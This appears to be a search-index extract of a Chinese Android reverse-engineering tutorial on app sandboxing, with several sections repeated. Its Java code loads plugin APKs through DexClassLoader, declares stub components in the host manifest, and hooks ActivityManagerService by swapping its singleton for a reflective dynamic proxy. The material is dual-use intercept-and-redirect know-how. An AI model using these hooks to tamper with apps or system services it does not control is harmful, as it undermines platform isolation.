pluginApkPath 插件 APK 的完整路径 * @param pluginId 插件唯一标识 * @return DexClassLoader 实例 */ public DexClassLoader createClassLoader(String pluginApkPath, String pluginId) { // 检查缓存 if (classLoaderCache.containsKey(pluginId)) { Log.d(TAG, \"Using cached ClassLoader for: \" + pluginId); return classLoaderCache.get(pluginId); } // 创建优化后的 DEX 输出目录 // 注意: Android 8.0+ 推荐使用 null，系统会自动选择目录 File optDir = hostContext.getDir(\"plugin_dex_\" + pluginId, Context.MODE_PRIVATE); // 获取插件的 native library 路径 String libPath = extractNativeLibs(pluginApkPath, pluginId); // 创建 DexClassLoader // 关键参数: // - dexPath: 插件 APK 路径 // - optimizedDirectory: DEX 优化输出目录 (Android 8.0+ 可为 null) // - librarySearchPath: Native 库搜索路径 // - parent: 父 ClassLoader (使用宿主的 ClassLoader) DexClassLoader classLoader = new DexClassLoader( pluginApkPath, optDir.getAbsolutePath(), libPath, hostContext.getClassLoader() // 重要: 设置父加载器 ); // 缓存 classLoaderCache.put(pluginId, classLoader); Log.d(TAG, \"Created ClassLoader for plugin: \" + pluginId); Log.d(TAG, \" APK Path: \" + pluginApkPath); Log.d(TAG, \" Opt Dir: \" + optDir.getAbsolutePath()); Log.d(TAG, \" Lib Path: \" + libPath); return classLoader; } /** * 从插件 APK 中提取 native 库 */ private String extractNativeLibs(String apkPath, String pluginId) { File libDir = hostContext.getDir(\"plugin_lib_\" + pluginId, Context.MODE_PRIVATE); try { // 获取设备 ABI String abi = Build.SUPPORTED_ABIS[0]; // 如 \"arm64-v8a\" ZipFile zipFile = new ZipFile(apkPath); Enumeration\u003c? extends ZipEntry\u003e entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); String name = entry.getName(); // 查找匹配的 native 库 if (name.startsWith(\"lib/\" + abi + \"/\") \u0026\u0026 name.endsWith(\".so\")) { String soName = name.substring(name.lastIndexOf('/') + 1); File outFile = new File(libDir, soName); // 解压 so 文件 try (InputStream in = zipFile.getInputStream(entry); FileOutputStream out = new FileOutputStream(outFile)) { byte[] buffer = new byte[8192]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } } Log.d(TAG, \"Extracted native lib: \" + soName); } } zipFile.close(); } catch (IOException e) { Log.e(TAG, \"Failed to extract native libs\", e); } return libDir.getAbsolutePath(); } /** * 加载插件中的类 */ public Class\u003c?\u003e loadPluginClass(String pluginId, String className) throws ClassNotFoundException { DexClassLoader classLoader = classLoaderCache.get(pluginId); if (classLoader == null) { throw new IllegalStateException(\"Plugin not loaded: \" + pluginId); } return classLoader.loadClass(className); } /** * 通过反射创建插件对象实例 */ @SuppressWarnings(\"unchecked\") public T createPluginInstance(String pluginId, String className, Class expectedType) throws Exception { Class\u003c?\u003e clazz = loadPluginClass(pluginId, className); if (!expectedType.isAssignableFrom(clazz)) { throw new ClassCastException(className + \" is not a","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#代码实现"},{"categories":null,"collections":null,"content":"2.2 组件生命周期管理 (Component Lifecycle) 插件 App 的组件（Activity, Service 等）并没有在宿主 App 的 AndroidManifest.xml 中注册，因此无法被系统直接启动。 占坑原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Activity 启动流程对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【正常启动】 │ │ │ │ App ──► startActivity(TargetActivity) ──► AMS ──► 启动 TargetActivity │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【沙箱启动 - 占坑机制】 │ │ │ │ Step 1: 发起请求 │ │ ┌──────────┐ │ │ │ Plugin │ startActivity(PluginActivity) │ │ │ App │ ────────────────┐ │ │ └──────────┘ │ │ │ ▼ │ │ Step 2: Hook 拦截 ┌─────────────┐ │ │ │ AMS Hook │ 检测到插件 Intent │ │ │ (动态代理) │ │ │ └──────┬──────┘ │ │ │ │ │ Step 3: Intent 替换 ▼ │ │ ┌─────────────┐ │ │ │ 替换为 │ │ │ │ StubActivity│ │ │ │ Intent │ │ │ └──────┬──────┘ │ │ │ │ │ Step 4: 系统启动 ▼ │ │ ┌─────────────┐ │ │ │ AMS │ 正常启动流程 │ │ └──────┬──────┘ │ │ │ │ │ Step 5: 还原与委托 ▼ │ │ ┌─────────────────────────────────┐ │ │ │ StubActivity │ │ │ │ onCreate() { │ │ │ │ // 从 Intent 恢复插件信息 │ │ │ │ // 创建 PluginActivity 实例 │ │ │ │ // 委托生命周期调用 │ │ │ │ } │ │ │ └─────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AndroidManifest.xml 占坑配置 \u003c!-- 宿主 App 的 AndroidManifest.xml --\u003e \u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"com.sandbox.host\"\u003e \u003capplication\u003e \u003c!-- 宿主自己的组件 --\u003e \u003cactivity android:name=\".MainActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\" /\u003e \u003ccategory android:name=\"android.intent.category.LAUNCHER\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c!-- ========== 占坑 Activity (Stub Activities) ========== --\u003e \u003c!-- 标准模式 --\u003e \u003cactivity android:name=\".stub.StubActivity$Standard1\" android:launchMode=\"standard\" android:theme=\"@style/Theme.AppCompat.Light\" /\u003e \u003cactivity android:name=\".stub.StubActivity$Standard2\" android:launchMode=\"standard\" /\u003e \u003c!-- SingleTop 模式 --\u003e \u003cactivity android:name=\".stub.StubActivity$SingleTop1\" android:launchMode=\"singleTop\" /\u003e \u003c!-- SingleTask 模式 --\u003e \u003cactivity android:name=\".stub.StubActivity$SingleTask1\" android:launchMode=\"singleTask\" /\u003e \u003c!-- SingleInstance 模式 --\u003e \u003cactivity android:name=\".stub.StubActivity$SingleInstance1\" android:launchMode=\"singleInstance\" /\u003e \u003c!-- 透明主题 (用于对话框类 Activity) --\u003e \u003cactivity android:name=\".stub.StubActivity$Translucent1\" android:theme=\"@android:style/Theme.Translucent.NoTitleBar\" /\u003e \u003c!-- ========== 占坑 Service ========== --\u003e \u003cservice android:name=\".stub.StubService$Service1\" /\u003e \u003cservice android:name=\".stub.StubService$Service2\" /\u003e \u003c!-- ========== 占坑 ContentProvider ========== --\u003e \u003cprovider android:name=\".stub.StubContentProvider\" android:authorities=\"com.sandbox.host.stub.provider\" android:exported=\"false\" /\u003e \u003c!-- ========== 占坑 BroadcastReceiver (静态注册) ========== --\u003e \u003creceiver android:name=\".stub.StubReceiver$Receiver1\" /\u003e \u003c/application\u003e \u003c/manifest\u003e StubActivity 实现 /** * StubActivity.java * 占坑 Activity 基类 - 负责委托生命周期给插件 Activity */ public class StubActivity extends Activity { private static final String TAG = \"StubActivity\"; // 存储原始插件 Intent 的 Key public static final String EXTRA_PLUGIN_INTENT = \"sandbox_plugin_intent\"; public static final String EXTRA_PLUGIN_ID = \"sandbox_plugin_id\"; public static final String EXTRA_PLUGIN_CLASS = \"sandbox_plugin_class\"; // 被代理的插件 Activity private Activity pluginActivity; // 插件的 Resources private Resources pluginResources; // 插件的 ClassLoader private ClassLoader pluginClassLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 从 Intent 中恢复插件信息 Intent intent = getIntent(); String pluginId = intent.getStringExtra(EXTRA_PLUGIN_ID); String pluginClassName = intent.getStringExtra(EXTRA_PLUGIN_CLASS); Intent pluginIntent = intent.getParcelableExtra(EXTRA_PLUGIN_INTENT); Log.d(TAG, \"StubActivity onCreate\"); Log.d(TAG, \" Plugin ID: \" + pluginId); Log.d(TAG, \" Plugin Class: \" + pluginClassName); try { // 获取插件的 ClassLoader","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#22-组件生命周期管理-component-lifecycle"},{"categories":null,"collections":null,"content":"2.2 组件生命周期管理 (Component Lifecycle) 插件 App 的组件（Activity, Service 等）并没有在宿主 App 的 AndroidManifest.xml 中注册，因此无法被系统直接启动。 占坑原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Activity 启动流程对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【正常启动】 │ │ │ │ App ──► startActivity(TargetActivity) ──► AMS ──► 启动 TargetActivity │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【沙箱启动 - 占坑机制】 │ │ │ │ Step 1: 发起请求 │ │ ┌──────────┐ │ │ │ Plugin │ startActivity(PluginActivity) │ │ │ App │ ────────────────┐ │ │ └──────────┘ │ │ │ ▼ │ │ Step 2: Hook 拦截 ┌─────────────┐ │ │ │ AMS Hook │ 检测到插件 Intent │ │ │ (动态代理) │ │ │ └──────┬──────┘ │ │ │ │ │ Step 3: Intent 替换 ▼ │ │ ┌─────────────┐ │ │ │ 替换为 │ │ │ │ StubActivity│ │ │ │ Intent │ │ │ └──────┬──────┘ │ │ │ │ │ Step 4: 系统启动 ▼ │ │ ┌─────────────┐ │ │ │ AMS │ 正常启动流程 │ │ └──────┬──────┘ │ │ │ │ │ Step 5: 还原与委托 ▼ │ │ ┌─────────────────────────────────┐ │ │ │ StubActivity │ │ │ │ onCreate() { │ │ │ │ // 从 Intent 恢复插件信息 │ │ │ │ // 创建 PluginActivity 实例 │ │ │ │ // 委托生命周期调用 │ │ │ │ } │ │ │ └─────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AndroidManifest.xml 占坑配置 StubActivity 实现 /** * StubActivity.java * 占坑 Activity 基类 - 负责委托生命周期给插件 Activity */ public class StubActivity extends Activity { private static final String TAG = \"StubActivity\"; // 存储原始插件 Intent 的 Key public static final String EXTRA_PLUGIN_INTENT = \"sandbox_plugin_intent\"; public static final String EXTRA_PLUGIN_ID = \"sandbox_plugin_id\"; public static final String EXTRA_PLUGIN_CLASS = \"sandbox_plugin_class\"; // 被代理的插件 Activity private Activity pluginActivity; // 插件的 Resources private Resources pluginResources; // 插件的 ClassLoader private ClassLoader pluginClassLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 从 Intent 中恢复插件信息 Intent intent = getIntent(); String pluginId = intent.getStringExtra(EXTRA_PLUGIN_ID); String pluginClassName = intent.getStringExtra(EXTRA_PLUGIN_CLASS); Intent pluginIntent = intent.getParcelableExtra(EXTRA_PLUGIN_INTENT); Log.d(TAG, \"StubActivity onCreate\"); Log.d(TAG, \" Plugin ID: \" + pluginId); Log.d(TAG, \" Plugin Class: \" + pluginClassName); try { // 获取插件的 ClassLoader","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#占坑原理图"},{"categories":null,"collections":null,"content":"2.2 组件生命周期管理 (Component Lifecycle) 插件 App 的组件（Activity, Service 等）并没有在宿主 App 的 AndroidManifest.xml 中注册，因此无法被系统直接启动。 占坑原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Activity 启动流程对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【正常启动】 │ │ │ │ App ──► startActivity(TargetActivity) ──► AMS ──► 启动 TargetActivity │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【沙箱启动 - 占坑机制】 │ │ │ │ Step 1: 发起请求 │ │ ┌──────────┐ │ │ │ Plugin │ startActivity(PluginActivity) │ │ │ App │ ────────────────┐ │ │ └──────────┘ │ │ │ ▼ │ │ Step 2: Hook 拦截 ┌─────────────┐ │ │ │ AMS Hook │ 检测到插件 Intent │ │ │ (动态代理) │ │ │ └──────┬──────┘ │ │ │ │ │ Step 3: Intent 替换 ▼ │ │ ┌─────────────┐ │ │ │ 替换为 │ │ │ │ StubActivity│ │ │ │ Intent │ │ │ └──────┬──────┘ │ │ │ │ │ Step 4: 系统启动 ▼ │ │ ┌─────────────┐ │ │ │ AMS │ 正常启动流程 │ │ └──────┬──────┘ │ │ │ │ │ Step 5: 还原与委托 ▼ │ │ ┌─────────────────────────────────┐ │ │ │ StubActivity │ │ │ │ onCreate() { │ │ │ │ // 从 Intent 恢复插件信息 │ │ │ │ // 创建 PluginActivity 实例 │ │ │ │ // 委托生命周期调用 │ │ │ │ } │ │ │ └─────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AndroidManifest.xml 占坑配置 StubActivity 实现 /** * StubActivity.java * 占坑 Activity 基类 - 负责委托生命周期给插件 Activity */ public class StubActivity extends Activity { private static final String TAG = \"StubActivity\"; // 存储原始插件 Intent 的 Key public static final String EXTRA_PLUGIN_INTENT = \"sandbox_plugin_intent\"; public static final String EXTRA_PLUGIN_ID = \"sandbox_plugin_id\"; public static final String EXTRA_PLUGIN_CLASS = \"sandbox_plugin_class\"; // 被代理的插件 Activity private Activity pluginActivity; // 插件的 Resources private Resources pluginResources; // 插件的 ClassLoader private ClassLoader pluginClassLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 从 Intent 中恢复插件信息 Intent intent = getIntent(); String pluginId = intent.getStringExtra(EXTRA_PLUGIN_ID); String pluginClassName = intent.getStringExtra(EXTRA_PLUGIN_CLASS); Intent pluginIntent = intent.getParcelableExtra(EXTRA_PLUGIN_INTENT); Log.d(TAG, \"StubActivity onCreate\"); Log.d(TAG, \" Plugin ID: \" + pluginId); Log.d(TAG, \" Plugin Class: \" + pluginClassName); try { // 获取插件的 ClassLoader","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#androidmanifestxml-占坑配置"},{"categories":null,"collections":null,"content":"2.2 组件生命周期管理 (Component Lifecycle) 插件 App 的组件（Activity, Service 等）并没有在宿主 App 的 AndroidManifest.xml 中注册，因此无法被系统直接启动。 占坑原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Activity 启动流程对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【正常启动】 │ │ │ │ App ──► startActivity(TargetActivity) ──► AMS ──► 启动 TargetActivity │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【沙箱启动 - 占坑机制】 │ │ │ │ Step 1: 发起请求 │ │ ┌──────────┐ │ │ │ Plugin │ startActivity(PluginActivity) │ │ │ App │ ────────────────┐ │ │ └──────────┘ │ │ │ ▼ │ │ Step 2: Hook 拦截 ┌─────────────┐ │ │ │ AMS Hook │ 检测到插件 Intent │ │ │ (动态代理) │ │ │ └──────┬──────┘ │ │ │ │ │ Step 3: Intent 替换 ▼ │ │ ┌─────────────┐ │ │ │ 替换为 │ │ │ │ StubActivity│ │ │ │ Intent │ │ │ └──────┬──────┘ │ │ │ │ │ Step 4: 系统启动 ▼ │ │ ┌─────────────┐ │ │ │ AMS │ 正常启动流程 │ │ └──────┬──────┘ │ │ │ │ │ Step 5: 还原与委托 ▼ │ │ ┌─────────────────────────────────┐ │ │ │ StubActivity │ │ │ │ onCreate() { │ │ │ │ // 从 Intent 恢复插件信息 │ │ │ │ // 创建 PluginActivity 实例 │ │ │ │ // 委托生命周期调用 │ │ │ │ } │ │ │ └─────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AndroidManifest.xml 占坑配置 StubActivity 实现 /** * StubActivity.java * 占坑 Activity 基类 - 负责委托生命周期给插件 Activity */ public class StubActivity extends Activity { private static final String TAG = \"StubActivity\"; // 存储原始插件 Intent 的 Key public static final String EXTRA_PLUGIN_INTENT = \"sandbox_plugin_intent\"; public static final String EXTRA_PLUGIN_ID = \"sandbox_plugin_id\"; public static final String EXTRA_PLUGIN_CLASS = \"sandbox_plugin_class\"; // 被代理的插件 Activity private Activity pluginActivity; // 插件的 Resources private Resources pluginResources; // 插件的 ClassLoader private ClassLoader pluginClassLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 从 Intent 中恢复插件信息 Intent intent = getIntent(); String pluginId = intent.getStringExtra(EXTRA_PLUGIN_ID); String pluginClassName = intent.getStringExtra(EXTRA_PLUGIN_CLASS); Intent pluginIntent = intent.getParcelableExtra(EXTRA_PLUGIN_INTENT); Log.d(TAG, \"StubActivity onCreate\"); Log.d(TAG, \" Plugin ID: \" + pluginId); Log.d(TAG, \" Plugin Class: \" + pluginClassName); try { // 获取插件的 ClassLoader","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#stubactivity-实现"},{"categories":null,"collections":null,"content":"2.3 系统服务 Hook (Binder Proxy) 这是整个沙箱技术最核心、最复杂的部分。 Binder Hook 原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Binder Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 前】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 后】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Proxy) │ │ │ │ │ ┌─────────────┴─────────────┐ │ │ │ InvocationHandler │ │ │ │ (我们的拦截逻辑) │ │ │ │ │ │ │ │ invoke(method, args) { │ │ │ │ if (是插件调用) { │ │ │ │ 修改 args │ │ │ │ } │ │ │ │ return 原始调用 │ │ │ │ } │ │ │ └─────────────┬─────────────┘ │ │ │ │ │ ▼ │ │ IActivityManager (原始 Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AMS Hook 实现 /** * AMSHook.java * ActivityManagerService Hook 实现 */ public class AMSHook { private static final String TAG = \"AMSHook\"; private Object originalAMS; // 原始的 IActivityManager private Object proxyAMS; // 代理后的 IActivityManager /** * 执行 Hook */ public void hook() { try { if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.O) { // Android 8.0+ hookActivityManager(); } else { // Android 8.0 以下 hookActivityManagerNative(); } Log.d(TAG, \"AMS Hook installed successfully\"); } catch (Exception e) { Log.e(TAG, \"AMS Hook failed\", e); } } /** * Android 8.0+ 的 Hook 方式 */ private void hookActivityManager() throws Exception { // 1. 获取 ActivityManager 类 Class\u003c?\u003e activityManagerClass = Class.forName(\"android.app.ActivityManager\"); // 2. 获取 IActivityManagerSingleton 字段 Field singletonField = activityManagerClass.getDeclaredField(\"IActivityManagerSingleton\"); singletonField.setAccessible(true); Object singleton = singletonField.get(null); // 3. 获取 Singleton 类的 mInstance 字段 Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始的 IActivityManager 实例 originalAMS = mInstanceField.get(singleton); // 5. 获取 IActivityManager 接口 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); // 6. 创建动态代理 proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); // 7. 替换原始实例 mInstanceField.set(singleton, proxyAMS); Log.d(TAG, \"IActivityManagerSingleton hooked\"); } /** * Android 8.0 以下的 Hook 方式 */ private void hookActivityManagerNative() throws Exception { // 1. 获取 ActivityManagerNative 类 Class\u003c?\u003e amnClass = Class.forName(\"android.app.ActivityManagerNative\"); // 2. 获取 gDefault 字段 Field gDefaultField = amnClass.getDeclaredField(\"gDefault\"); gDefaultField.setAccessible(true); Object gDefault = gDefaultField.get(null); // 3. gDefault 是一个 Singleton，获取其 mInstance Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始 IActivityManager originalAMS = mInstanceField.get(gDefault); // 5. 创建动态代理并替换 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); mInstanceField.set(gDefault, proxyAMS); Log.d(TAG, \"ActivityManagerNative.gDefault hooked\"); } /** * InvocationHandler - 核心拦截逻辑 */ private class AMSInvocationHandler implements InvocationHandler { private final Object target; // 原始 IActivityManager AMSInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); Log.v(TAG, \"AMS method called: \" + methodName); // ========== startActivity 拦截 ========== if (\"startActivity\".eq","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:3","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#23-系统服务-hook-binder-proxy"},{"categories":null,"collections":null,"content":"2.3 系统服务 Hook (Binder Proxy) 这是整个沙箱技术最核心、最复杂的部分。 Binder Hook 原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Binder Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 前】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 后】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Proxy) │ │ │ │ │ ┌─────────────┴─────────────┐ │ │ │ InvocationHandler │ │ │ │ (我们的拦截逻辑) │ │ │ │ │ │ │ │ invoke(method, args) { │ │ │ │ if (是插件调用) { │ │ │ │ 修改 args │ │ │ │ } │ │ │ │ return 原始调用 │ │ │ │ } │ │ │ └─────────────┬─────────────┘ │ │ │ │ │ ▼ │ │ IActivityManager (原始 Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AMS Hook 实现 /** * AMSHook.java * ActivityManagerService Hook 实现 */ public class AMSHook { private static final String TAG = \"AMSHook\"; private Object originalAMS; // 原始的 IActivityManager private Object proxyAMS; // 代理后的 IActivityManager /** * 执行 Hook */ public void hook() { try { if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.O) { // Android 8.0+ hookActivityManager(); } else { // Android 8.0 以下 hookActivityManagerNative(); } Log.d(TAG, \"AMS Hook installed successfully\"); } catch (Exception e) { Log.e(TAG, \"AMS Hook failed\", e); } } /** * Android 8.0+ 的 Hook 方式 */ private void hookActivityManager() throws Exception { // 1. 获取 ActivityManager 类 Class\u003c?\u003e activityManagerClass = Class.forName(\"android.app.ActivityManager\"); // 2. 获取 IActivityManagerSingleton 字段 Field singletonField = activityManagerClass.getDeclaredField(\"IActivityManagerSingleton\"); singletonField.setAccessible(true); Object singleton = singletonField.get(null); // 3. 获取 Singleton 类的 mInstance 字段 Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始的 IActivityManager 实例 originalAMS = mInstanceField.get(singleton); // 5. 获取 IActivityManager 接口 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); // 6. 创建动态代理 proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); // 7. 替换原始实例 mInstanceField.set(singleton, proxyAMS); Log.d(TAG, \"IActivityManagerSingleton hooked\"); } /** * Android 8.0 以下的 Hook 方式 */ private void hookActivityManagerNative() throws Exception { // 1. 获取 ActivityManagerNative 类 Class\u003c?\u003e amnClass = Class.forName(\"android.app.ActivityManagerNative\"); // 2. 获取 gDefault 字段 Field gDefaultField = amnClass.getDeclaredField(\"gDefault\"); gDefaultField.setAccessible(true); Object gDefault = gDefaultField.get(null); // 3. gDefault 是一个 Singleton，获取其 mInstance Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始 IActivityManager originalAMS = mInstanceField.get(gDefault); // 5. 创建动态代理并替换 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); mInstanceField.set(gDefault, proxyAMS); Log.d(TAG, \"ActivityManagerNative.gDefault hooked\"); } /** * InvocationHandler - 核心拦截逻辑 */ private class AMSInvocationHandler implements InvocationHandler { private final Object target; // 原始 IActivityManager AMSInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); Log.v(TAG, \"AMS method called: \" + methodName); // ========== startActivity 拦截 ========== if (\"startActivity\".eq","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:3","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#binder-hook-原理图"},{"categories":null,"collections":null,"content":"2.3 系统服务 Hook (Binder Proxy) 这是整个沙箱技术最核心、最复杂的部分。 Binder Hook 原理图 ┌─────────────────────────────────────────────────────────────────────────┐ │ Binder Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 前】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Hook 后】 │ │ │ │ App ──► ActivityManager.getService() ──► IActivityManager (Proxy) │ │ │ │ │ ┌─────────────┴─────────────┐ │ │ │ InvocationHandler │ │ │ │ (我们的拦截逻辑) │ │ │ │ │ │ │ │ invoke(method, args) { │ │ │ │ if (是插件调用) { │ │ │ │ 修改 args │ │ │ │ } │ │ │ │ return 原始调用 │ │ │ │ } │ │ │ └─────────────┬─────────────┘ │ │ │ │ │ ▼ │ │ IActivityManager (原始 Binder) │ │ │ │ │ ▼ │ │ ActivityManagerService │ │ │ └─────────────────────────────────────────────────────────────────────────┘ AMS Hook 实现 /** * AMSHook.java * ActivityManagerService Hook 实现 */ public class AMSHook { private static final String TAG = \"AMSHook\"; private Object originalAMS; // 原始的 IActivityManager private Object proxyAMS; // 代理后的 IActivityManager /** * 执行 Hook */ public void hook() { try { if (Build.VERSION.SDK_INT \u003e= Build.VERSION_CODES.O) { // Android 8.0+ hookActivityManager(); } else { // Android 8.0 以下 hookActivityManagerNative(); } Log.d(TAG, \"AMS Hook installed successfully\"); } catch (Exception e) { Log.e(TAG, \"AMS Hook failed\", e); } } /** * Android 8.0+ 的 Hook 方式 */ private void hookActivityManager() throws Exception { // 1. 获取 ActivityManager 类 Class\u003c?\u003e activityManagerClass = Class.forName(\"android.app.ActivityManager\"); // 2. 获取 IActivityManagerSingleton 字段 Field singletonField = activityManagerClass.getDeclaredField(\"IActivityManagerSingleton\"); singletonField.setAccessible(true); Object singleton = singletonField.get(null); // 3. 获取 Singleton 类的 mInstance 字段 Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始的 IActivityManager 实例 originalAMS = mInstanceField.get(singleton); // 5. 获取 IActivityManager 接口 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); // 6. 创建动态代理 proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new AMSInvocationHandler(originalAMS) ); // 7. 替换原始实例 mInstanceField.set(singleton, proxyAMS); Log.d(TAG, \"IActivityManagerSingleton hooked\"); } /** * Android 8.0 以下的 Hook 方式 */ private void hookActivityManagerNative() throws Exception { // 1. 获取 ActivityManagerNative 类 Class\u003c?\u003e amnClass = Class.forName(\"android.app.ActivityManagerNative\"); // 2. 获取 gDefault 字段 Field gDefaultField = amnClass.getDeclaredField(\"gDefault\"); gDefaultField.setAccessible(true); Object gDefault = gDefaultField.get(null); // 3. gDefault 是一个 Singleton，获取其 mInstance Class\u003c?\u003e singletonClass = Class.forName(\"android.util.Singleton\"); Field mInstanceField = singletonClass.getDeclaredField(\"mInstance\"); mInstanceField.setAccessible(true); // 4. 获取原始 IActivityManager originalAMS = mInstanceField.get(gDefault); // 5. 创建动态代理并替换 Class\u003c?\u003e iActivityManagerClass = Class.forName(\"android.app.IActivityManager\"); proxyAMS = Proxy.newProxyInstance( iActivityManagerClass.getClassLoader(), new Class\u003c?\u003e[] { iActivityManagerClass }, new 